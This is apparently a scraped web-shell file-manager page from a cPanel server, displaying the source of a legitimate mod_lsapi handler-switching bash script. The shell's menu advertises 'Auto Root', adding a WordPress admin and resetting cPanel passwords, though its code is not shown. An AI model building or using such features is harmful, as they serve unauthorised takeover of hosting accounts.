Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
lve
modlscapi
user
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: switch_lsapi
#!/usr/bin/bash #%copyright% VERBOSE=NO FORCE=NO for item in "$@" do if [ "$item" == "--verbose" ]; then VERBOSE=YES echo "Switching verbose level on... done" shift fi if [ "$item" == "--force" ]; then FORCE=YES echo "Using force-yes option..." shift fi done CMD="$1" function run_as_user(){ local user="$1" shift if [ -z "$user" ] || [ "$user" = "root" ]; then "$@" else runuser -u "$user" -- "$@" fi } function addString(){ HANDLR="$1" BINARY="$2" FL="$3" touch "$FL" if [ -e "$FL" ] && [ -e "$BINARY" ]; then RES=$(cat "$FL" | grep "$HANDLR") if [ -z "$RES" ]; then echo "$HANDLR $BINARY" >> "$FL" fi fi } function set_handler() { PHP="$1" HANDLER="$2" if [ -z "$PHP" ]; then return 1 fi if [ -z "$HANDLER" ]; then return 1 fi echo "Setting $PHP to $HANDLER handler..." /usr/sbin/whmapi1 php_set_handler version="$PHP" handler="$HANDLER" 2>/dev/null >/dev/null return 0 } function confirm() { if [ "$FORCE" == "YES" ]; then return 0 fi read -r -p "Do you want to proceed? [y/N] " response </dev/tty if [[ "$response" =~ ^([yY][eE][sS]|[yY])+$ ]]; then return 0 else return 1 fi } function check_enable_global() { YES="$1" if [ -e /usr/share/lve/modlscapi/global.enabled -o -n "$YES" ]; then echo "mod_lsapi switched to turning on and off through the MultiPHP Manager(/Home/Software/MultiPHP Manager)" echo "You are using enabled globally mod_lsapi. Do you want to enable mod_lsapi through MultiPHP Manager?" echo "Current PHP will be switched to lsapi handler:" /usr/local/cpanel/bin/rebuild_phpconf --current | while read -r line; do echo "$line" | sed -n '/ cgi/p; /suphp/p' done echo "If you type N then mod_lsapi will be disabled and you can enable it again from MultiPHP Manager." if confirm; then /usr/local/cpanel/bin/rebuild_phpconf --current | while read -r line; do if [[ "$line" == *"suphp"* ]]; then set_handler "$(echo "$line" | cut -d ' ' -f1)" "lsapi" fi if [[ "$line" == *" cgi"* ]]; then set_handler "$(echo "$line" | cut -d ' ' -f1)" "lsapi" fi done fi fi if [ -e /etc/apache2/conf.d/lsapi.conf ]; then [ "$VERBOSE" = "YES" ] && echo -n "Switching old lsapi configuration off..." sed -i '/LoadModule/d' "/etc/apache2/conf.d/lsapi.conf" sed -i '/lsapi_engine/d' "/etc/apache2/conf.d/lsapi.conf" sed -i '/AddHandler/d' "/etc/apache2/conf.d/lsapi.conf" sed -i '/AddType/d' "/etc/apache2/conf.d/lsapi.conf" sed -i '/FilesMatch/d' "/etc/apache2/conf.d/lsapi.conf" [ "$VERBOSE" = "YES" ] && echo " done" fi # [ "$VERBOSE" = "YES" ] && echo "Enabling module..." # addString "# Enable mod_lsapi" "" "/etc/apache2/conf.modules.d/001_mod_lsapi.conf" # addString "LoadModule lsapi_module modules/mod_lsapi.so" "" "/etc/apache2/conf.modules.d/001_mod_lsapi.conf" # [ "$VERBOSE" = "YES" ] && echo " done" } function uninstall_lsapi_handler() { if [ -e /etc/apache2/conf.modules.d/90-suphp.conf ]; then HANDLER="suphp" elif [ -e /etc/apache2/conf.modules.d/005_mod_cgid.conf -o \ -e /etc/apache2/conf.modules.d/005_mod_cgi.conf ]; then HANDLER="cgi" else echo "[WARNING]: Cannot detect a valid handler" HANDLER="cgi" fi echo "You started the uninstallation of the mod_lsapi." echo "PHP with enabled lsapi handler will be switched to $HANDLER handler." /usr/local/cpanel/bin/rebuild_phpconf --current | while read -r line; do echo "$line" | sed -n '/lsapi/p' done /usr/local/cpanel/bin/rebuild_phpconf --current | while read -r line; do if [[ "$line" == *"lsapi"* ]]; then set_handler "$(echo "$line" | cut -d ' ' -f1)" "$HANDLER" fi done } function get_user_config() { DOMAIN="$1" CLEAN="$2" if [ -z "$DOMAIN" ]; then return 1 fi UN=$(/scripts/whoowns "$1" | tr -d '\n' | tr -d ' ') if [ -z "$UN" ]; then return 1 fi HD=$(/usr/share/lve/modlscapi/utils/getdocroot.pm "$UN" "$DOMAIN") if [ -z "$HD" ]; then return 1 fi if run_as_user "$UN" test -e "$HD/.htaccess"; then if run_as_user "$UN" grep -E '[[:space:]]*lsapi_engine*[[:space:]]On' "$HD/.htaccess" | grep -vq "#"; then if run_as_user "$UN" grep -E '[[:space:]]*application/x-httpd-lsphp' "$HD/.htaccess" | grep -vq "#"; then if [ "$CLEAN" == "Yes" ]; then run_as_user "$UN" sed -i '/lsphp -- BEGIN/,/lsphp -- END/d' "$HD/.htaccess" run_as_user "$UN" sed -i '/mod_lsapi/d' "$HD/.htaccess" run_as_user "$UN" sed -i '/x-httpd-lsphp/d' "$HD/.htaccess" run_as_user "$UN" sed -i '/lsapi_engine/d' "$HD/.htaccess" fi return 0 fi fi fi return 1 } function count_lsapi_user() { ARRAY=( "$@" ) COUNTER=0 for vhost in "${ARRAY[@]}"; do if get_user_config "$vhost" "No"; then let COUNTER=COUNTER+1 fi done if [ $COUNTER -gt 0 ]; then return 0 else return 1 fi } function clean_user_conf() { ARRAY=( "$@" ) for vhost in "${ARRAY[@]}"; do get_user_config "$vhost" "Yes" done } function get_vhosts_by_version() { PHP="$1" INHERITED=$(/usr/local/cpanel/bin/rebuild_phpconf --current | grep DEFAULT | cut -d ' ' -f3) /usr/sbin/whmapi1 php_get_vhosts_by_version version="$PHP" | while read -r line; do echo "$line" | grep -e '- ' | sed 's/^[ \t]*- //' done if [ "$PHP" == "$INHERITED" ]; then /usr/sbin/whmapi1 php_get_vhosts_by_version version="inherit" | while read -r line; do echo "$line" | grep -e '- ' | sed 's/^[ \t]*- //' done fi } function check_enable_user() { /usr/local/cpanel/bin/rebuild_phpconf --current | while read -r line; do PHP=$(echo "$line" | cut -d ' ' -f1) HANDLER=$(echo "$line" | cut -d ' ' -f3) declare -a Array Array+=$(get_vhosts_by_version "$PHP") if count_lsapi_user ${Array[@]}; then echo "Domains that handled by $PHP:" for vhost in ${Array[@]}; do if get_user_config "$vhost" "No"; then echo "$vhost - lsapi" else echo "$vhost - $HANDLER" fi done echo "There are domains which are using mod_lsapi through --enable-domain option." echo "This option is deprecated for EA4 and mod_lsapi switched to turning on and off through" echo "the MultiPHP Manager(/Home/Software/MultiPHP Manager)" echo "Do you want to enable mod_lsapi through MultiPHP Manager for $PHP?" echo "Domains which are using $HANDLER will be switched to lsapi handler too." echo "If you type N then mod_lsapi will remain enabled on these domains." echo "However, enabling mod_lsapi for new domains is now possible only through MultiPHP Manager." if confirm; then clean_user_conf ${Array[@]} set_handler "$PHP" "lsapi" fi fi unset Array done } function oldUninstall() { [ "$VERBOSE" = "YES" ] && echo "Old mod_lsapi uninstall started" if [ -e /etc/apache2/conf.modules.d/90-suphp.conf.cpanel ]; then [ "$VERBOSE" = "YES" ] && echo -n "Restoring /etc/apache2/conf.modules.d/90-suphp.conf..." mv /etc/apache2/conf.modules.d/90-suphp.conf.cpanel /etc/apache2/conf.modules.d/90-suphp.conf [ "$VERBOSE" = "YES" ] && echo " done" fi if [ -e /etc/container/php.handler ]; then [ "$VERBOSE" = "YES" ] && echo -n "Cleaning /etc/container/php.handler" sed -i '/x-httpd-ea-php/d' "/etc/container/php.handler" [ "$VERBOSE" = "YES" ] && echo " done" fi } function add_handlers() { if [ ! -e /etc/container ]; then mkdir -p /etc/container fi addString "application/x-httpd-ea-php44-lsphp" "/opt/cpanel/ea-php44/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php51-lsphp" "/opt/cpanel/ea-php51/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php52-lsphp" "/opt/cpanel/ea-php52/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php53-lsphp" "/opt/cpanel/ea-php53/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php54-lsphp" "/opt/cpanel/ea-php54/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php55-lsphp" "/opt/cpanel/ea-php55/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php56-lsphp" "/opt/cpanel/ea-php56/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php70-lsphp" "/opt/cpanel/ea-php70/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php71-lsphp" "/opt/cpanel/ea-php71/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php72-lsphp" "/opt/cpanel/ea-php72/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php73-lsphp" "/opt/cpanel/ea-php73/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php74-lsphp" "/opt/cpanel/ea-php74/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-nf-php74-lsphp" "/opt/remi/php74/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php80-lsphp" "/opt/cpanel/ea-php80/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php81-lsphp" "/opt/cpanel/ea-php81/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php82-lsphp" "/opt/cpanel/ea-php82/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php83-lsphp" "/opt/cpanel/ea-php83/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php84-lsphp" "/opt/cpanel/ea-php84/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php44___lsphp" "/opt/cpanel/ea-php44/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php51___lsphp" "/opt/cpanel/ea-php51/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php52___lsphp" "/opt/cpanel/ea-php52/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php53___lsphp" "/opt/cpanel/ea-php53/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php54___lsphp" "/opt/cpanel/ea-php54/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php55___lsphp" "/opt/cpanel/ea-php55/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php56___lsphp" "/opt/cpanel/ea-php56/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php70___lsphp" "/opt/cpanel/ea-php70/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php71___lsphp" "/opt/cpanel/ea-php71/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php72___lsphp" "/opt/cpanel/ea-php72/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php73___lsphp" "/opt/cpanel/ea-php73/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php74___lsphp" "/opt/cpanel/ea-php74/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-nf-php74___lsphp" "/opt/remi/php74/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php80___lsphp" "/opt/cpanel/ea-php80/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php81___lsphp" "/opt/cpanel/ea-php81/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php82___lsphp" "/opt/cpanel/ea-php82/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php83___lsphp" "/opt/cpanel/ea-php83/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php84___lsphp" "/opt/cpanel/ea-php84/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php44___lsphp" "/opt/cloudlinux/alt-php44/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php51___lsphp" "/opt/cloudlinux/alt-php51/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php52___lsphp" "/opt/cloudlinux/alt-php52/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php53___lsphp" "/opt/cloudlinux/alt-php53/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php54___lsphp" "/opt/cloudlinux/alt-php54/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php55___lsphp" "/opt/cloudlinux/alt-php55/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php56___lsphp" "/opt/cloudlinux/alt-php56/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php70___lsphp" "/opt/cloudlinux/alt-php70/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php71___lsphp" "/opt/cloudlinux/alt-php71/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php72___lsphp" "/opt/cloudlinux/alt-php72/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php73___lsphp" "/opt/cloudlinux/alt-php73/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php74___lsphp" "/opt/cloudlinux/alt-php74/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php80___lsphp" "/opt/cloudlinux/alt-php80/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php81___lsphp" "/opt/cloudlinux/alt-php81/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php82___lsphp" "/opt/cloudlinux/alt-php82/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php83___lsphp" "/opt/cloudlinux/alt-php83/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php84___lsphp" "/opt/cloudlinux/alt-php84/root/usr/bin/lsphp" "/etc/container/php.handler" # Let's add version which still don't exist, for future addString "application/x-httpd-ea-php85-lsphp" "/opt/cpanel/ea-php85/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php86-lsphp" "/opt/cpanel/ea-php86/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php87-lsphp" "/opt/cpanel/ea-php87/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php88-lsphp" "/opt/cpanel/ea-php88/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php89-lsphp" "/opt/cpanel/ea-php89/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php90-lsphp" "/opt/cpanel/ea-php90/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php91-lsphp" "/opt/cpanel/ea-php91/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php92-lsphp" "/opt/cpanel/ea-php92/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php93-lsphp" "/opt/cpanel/ea-php93/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php94-lsphp" "/opt/cpanel/ea-php94/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php95-lsphp" "/opt/cpanel/ea-php95/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php96-lsphp" "/opt/cpanel/ea-php96/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php97-lsphp" "/opt/cpanel/ea-php97/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php98-lsphp" "/opt/cpanel/ea-php98/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php99-lsphp" "/opt/cpanel/ea-php99/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php85___lsphp" "/opt/cpanel/ea-php85/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php86___lsphp" "/opt/cpanel/ea-php86/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php87___lsphp" "/opt/cpanel/ea-php87/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php88___lsphp" "/opt/cpanel/ea-php88/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php89___lsphp" "/opt/cpanel/ea-php89/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php90___lsphp" "/opt/cpanel/ea-php90/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php91___lsphp" "/opt/cpanel/ea-php91/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php92___lsphp" "/opt/cpanel/ea-php92/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php93___lsphp" "/opt/cpanel/ea-php93/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php94___lsphp" "/opt/cpanel/ea-php94/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php95___lsphp" "/opt/cpanel/ea-php95/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php96___lsphp" "/opt/cpanel/ea-php96/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php97___lsphp" "/opt/cpanel/ea-php97/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php98___lsphp" "/opt/cpanel/ea-php98/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-ea-php99___lsphp" "/opt/cpanel/ea-php99/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php85___lsphp" "/opt/cloudlinux/alt-php85/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php86___lsphp" "/opt/cloudlinux/alt-php86/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php87___lsphp" "/opt/cloudlinux/alt-php87/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php88___lsphp" "/opt/cloudlinux/alt-php88/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php89___lsphp" "/opt/cloudlinux/alt-php89/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php90___lsphp" "/opt/cloudlinux/alt-php90/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php91___lsphp" "/opt/cloudlinux/alt-php91/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php92___lsphp" "/opt/cloudlinux/alt-php92/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php93___lsphp" "/opt/cloudlinux/alt-php93/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php94___lsphp" "/opt/cloudlinux/alt-php94/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php95___lsphp" "/opt/cloudlinux/alt-php95/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php96___lsphp" "/opt/cloudlinux/alt-php96/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php97___lsphp" "/opt/cloudlinux/alt-php97/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php98___lsphp" "/opt/cloudlinux/alt-php98/root/usr/bin/lsphp" "/etc/container/php.handler" addString "application/x-httpd-alt-php99___lsphp" "/opt/cloudlinux/alt-php99/root/usr/bin/lsphp" "/etc/container/php.handler" } if [ "$CMD" == "--uninstall" ]; then [ "$VERBOSE" = "YES" ] && echo "mod_lsapi uninstall started" # if [ -e /etc/apache2/conf.modules.d/001_mod_lsapi.conf ]; then # [ "$VERBOSE" = "YES" ] && echo -n "Removing /etc/apache2/conf.modules.d/001_mod_lsapi.conf..." # rm -f /etc/apache2/conf.modules.d/001_mod_lsapi.conf # [ "$VERBOSE" = "YES" ] && echo " done" # fi [ "$VERBOSE" = "YES" ] && echo -n "Changing enabled lsapi handler to default handler" uninstall_lsapi_handler [ "$VERBOSE" = "YES" ] && echo " done" #Disable all domains if exists in htaccess /usr/share/lve/modlscapi/utils/getdocroots.pm | while read docroot_user docroot_path; do if run_as_user "$docroot_user" test -e "$docroot_path/.htaccess"; then [ "$VERBOSE" = "YES" ] && echo -n "Disabling mod_lsapi in $docroot_path..." run_as_user "$docroot_user" sed -i '/lsphp -- BEGIN/,/lsphp -- END/d' "$docroot_path/.htaccess" run_as_user "$docroot_user" sed -i '/x-httpd-lsphp/d' "$docroot_path/.htaccess" run_as_user "$docroot_user" sed -i '/lsapi_engine/d' "$docroot_path/.htaccess" run_as_user "$docroot_user" sed -i '/mod_lsapi/d' "$docroot_path/.htaccess" [ "$VERBOSE" = "YES" ] && echo " done" fi done ############ REMOVE PATCH FOR CPANEL, this part should be removed when cpanel will be provided with our patch # [ "$VERBOSE" = "YES" ] && echo -n "Restoring /usr/local/cpanel/Cpanel/WebServer/Supported/apache.pm..." # /usr/share/lve/modlscapi/utils/cpanel_hooks_manage.py -d # [ "$VERBOSE" = "YES" ] && echo " done" ###################### if [ -e /etc/container/php.handler ]; then [ "$VERBOSE" = "YES" ] && echo -n "Cleaning /etc/container/php.handler" sed -i '/x-httpd-ea-php/d' "/etc/container/php.handler" [ "$VERBOSE" = "YES" ] && echo " done" fi [ "$VERBOSE" = "YES" ] && echo "Rebuilding httpd config..." /scripts/rebuildhttpdconf [ "$VERBOSE" = "YES" ] && echo "Rebuilding httpd config done" echo "Reconfiguration completed" exit fi if [ "$CMD" == "--setup" ]; then oldUninstall [ "$VERBOSE" = "YES" ] && echo "mod_lsapi setup started" [ "$VERBOSE" = "YES" ] && echo -n "Adding php handlers..." add_handlers [ "$VERBOSE" = "YES" ] && echo " done" ############ INSTALL PATCH FOR CPANEL, this part should be removed when cpanel will be provided with our patch # if [ ! -e /usr/local/cpanel/Cpanel/WebServer/Supported/apache/Handler/lsapi.pm ]; then # [ "$VERBOSE" = "YES" ] && echo -n "Adding lsapi.pm to Cpanel..." # cp /usr/share/lve/modlscapi/tars/lsapi.pm /usr/local/cpanel/Cpanel/WebServer/Supported/apache/Handler/lsapi.pm # [ "$VERBOSE" = "YES" ] && echo " done" # fi # [ "$VERBOSE" = "YES" ] && echo -n "Patching Cpanel for lsapi handler..." # cp /usr/local/cpanel/Cpanel/WebServer/Supported/apache.pm /usr/local/cpanel/Cpanel/WebServer/Supported/apache.pm.bak # /usr/share/lve/modlscapi/hooks/lsapi_patch_cpanel_hook.sh # /usr/share/lve/modlscapi/utils/cpanel_hooks_manage.py -i # [ "$VERBOSE" = "YES" ] && echo " done" ######################## [ "$VERBOSE" = "YES" ] && echo "Checking for enabled global module..." check_enable_global [ "$VERBOSE" = "YES" ] && echo " done" [ "$VERBOSE" = "YES" ] && echo "Checking for enabled domain module..." check_enable_user [ "$VERBOSE" = "YES" ] && echo " done" [ "$VERBOSE" = "YES" ] && echo "Rebuilding httpd config..." /scripts/rebuildhttpdconf [ "$VERBOSE" = "YES" ] && echo "Rebuilding httpd config done" if [ ! -e /usr/local/bin/lsphp ]; then [ "$VERBOSE" = "YES" ] && echo "Setting up cl-selector for lsphp..." cp /opt/alt/php56/usr/bin/lsphp /usr/local/bin/ ln -s /usr/local/bin/lsphp /etc/cl.selector/lsphp if [ -e /usr/sbin/cagefsctl ]; then /usr/sbin/cagefsctl --update-etc fi RES="" if [ -e /etc/cl.selector/native.conf ]; then RES=`cat /etc/cl.selector/native.conf | grep lsphp=/usr/local/bin/lsphp ` fi if [ -z "$RES" ]; then echo "lsphp=/usr/local/bin/lsphp" >> /etc/cl.selector/native.conf fi if [ -e /usr/sbin/cagefsctl ]; then /usr/sbin/cagefsctl --setup-cl-selector fi [ "$VERBOSE" = "YES" ] && echo "Setting up cl-selector for lsphp done" fi CSF_CONFIG="/etc/csf/csf.pignore" CSF_MAIN_RULE="exe:/usr/local/bin/lsphp" CSF_ALT_RULE="pexe:/opt/alt/php.*/usr/bin/lsphp" CSF_SELECTOR_RULE="exe:/usr/selector/lsphp" CSF_EA_RULE="pexe:/opt/cpanel/ea-php*/root/usr/bin/lsphp" if [ -f "${CSF_CONFIG}" ]; then [ "$VERBOSE" = "YES" ] && echo "Setting up lfd service for lsphp..." [ -e "${CSF_CONFIG}.bkp" ] || cp "${CSF_CONFIG}" "${CSF_CONFIG}.bkp" grep -v '^[[:space:]]*#' "${CSF_CONFIG}" | grep -Fq "${CSF_MAIN_RULE}" || echo "${CSF_MAIN_RULE}" >> "$CSF_CONFIG" grep -v '^[[:space:]]*#' "${CSF_CONFIG}" | grep -Fq "${CSF_SELECTOR_RULE}" || echo "${CSF_SELECTOR_RULE}" >> "$CSF_CONFIG" grep -v '^[[:space:]]*#' "${CSF_CONFIG}" | grep -Fq "${CSF_EA_RULE}" || echo "${CSF_EA_RULE}" >> "$CSF_CONFIG" grep -v '^[[:space:]]*#' "${CSF_CONFIG}" | grep -Fq "${CSF_ALT_RULE}" || echo "${CSF_ALT_RULE}" >> "$CSF_CONFIG" service lfd restart 2>/dev/null >/dev/null [ "$VERBOSE" = "YES" ] && echo "Setting up lfd service for lsphp done" fi echo "Reconfiguration completed" exit fi if [ "$CMD" == "--setup-light" ]; then [ "$VERBOSE" = "YES" ] && echo -n "Adding php handlers..." add_handlers [ "$VERBOSE" = "YES" ] && echo " done" /usr/share/lve/modlscapi/utils/getdocroots.pm | while read docroot_user HD; do if run_as_user "$docroot_user" test -e "$HD/.htaccess"; then [ "$VERBOSE" = "YES" ] && echo -n "Removing old mod_lsapi configuration (lsapi_engine off) in $HD..." if run_as_user "$docroot_user" grep -qE '[[:space:]]*lsapi_engine*[[:space:]]*off' "$HD/.htaccess"; then run_as_user "$docroot_user" sed -i '/[[:space:]]*lsapi_engine*[[:space:]]*off/d' "$HD/.htaccess" fi if run_as_user "$docroot_user" grep -qE '[[:space:]]*lsapi_engine*[[:space:]]*Off' "$HD/.htaccess"; then run_as_user "$docroot_user" sed -i '/[[:space:]]*lsapi_engine*[[:space:]]*Off/d' "$HD/.htaccess" fi fi [ "$VERBOSE" = "YES" ] && echo " done" done # [ "$VERBOSE" = "YES" ] && echo -n "Patching Cpanel for lsapi handler..." # cp /usr/local/cpanel/Cpanel/WebServer/Supported/apache.pm /usr/local/cpanel/Cpanel/WebServer/Supported/apache.pm.bak # /usr/share/lve/modlscapi/hooks/lsapi_patch_cpanel_hook.sh # /usr/share/lve/modlscapi/utils/cpanel_hooks_manage.py -i # [ "$VERBOSE" = "YES" ] && echo " done" exit fi if [ "$CMD" == "--enable-domain" ]; then echo "Deprecated for EA4, use MultiPHP Manager." exit fi if [ "$CMD" == "--disable-domain" ]; then echo "Deprecated for EA4, use MultiPHP Manager." exit fi if [ "$CMD" == "--enable-global" ]; then check_enable_global "YES" exit fi if [ "$CMD" == "--disable-global" ]; then echo "Deprecated for EA4, use MultiPHP Manager." exit fi if [ "$CMD" == "--build-native-lsphp" ]; then echo "Deprecated for EA4" exit fi echo "$0 [OPTION]" echo "utility for switching mod_lsapi on cPanel on or off (without mod_ruid2):" echo "--setup - setup mod_lsapi configurations for Apache" echo "--setup-light - setup only the EasyApache 4 feature" echo "--uninstall - uninstall mod_lsapi from Apache" echo "--enable-domain - enable mod_lsapi for an individual domain" echo "--disable-domain - disable mod_lsapi for an individual domain" echo "--enable-global - sets up mod_lsapi as a default way to serve PHP, making it enabled for all domains. Once that mode is enabled, you cannot disable mod_lsapi for individual domains" echo "--disable-global - disable mod_lsapi as a default way to serve PHP, disabling mod_lsapi for all domains, including those selected previously using --enable-domain" echo "--build-native-lsphp - build native lsphp for cPanel" echo "--verbose - switch verbose logging on" echo "--force - only with setup option (EA4)" echo "--help - show this help message"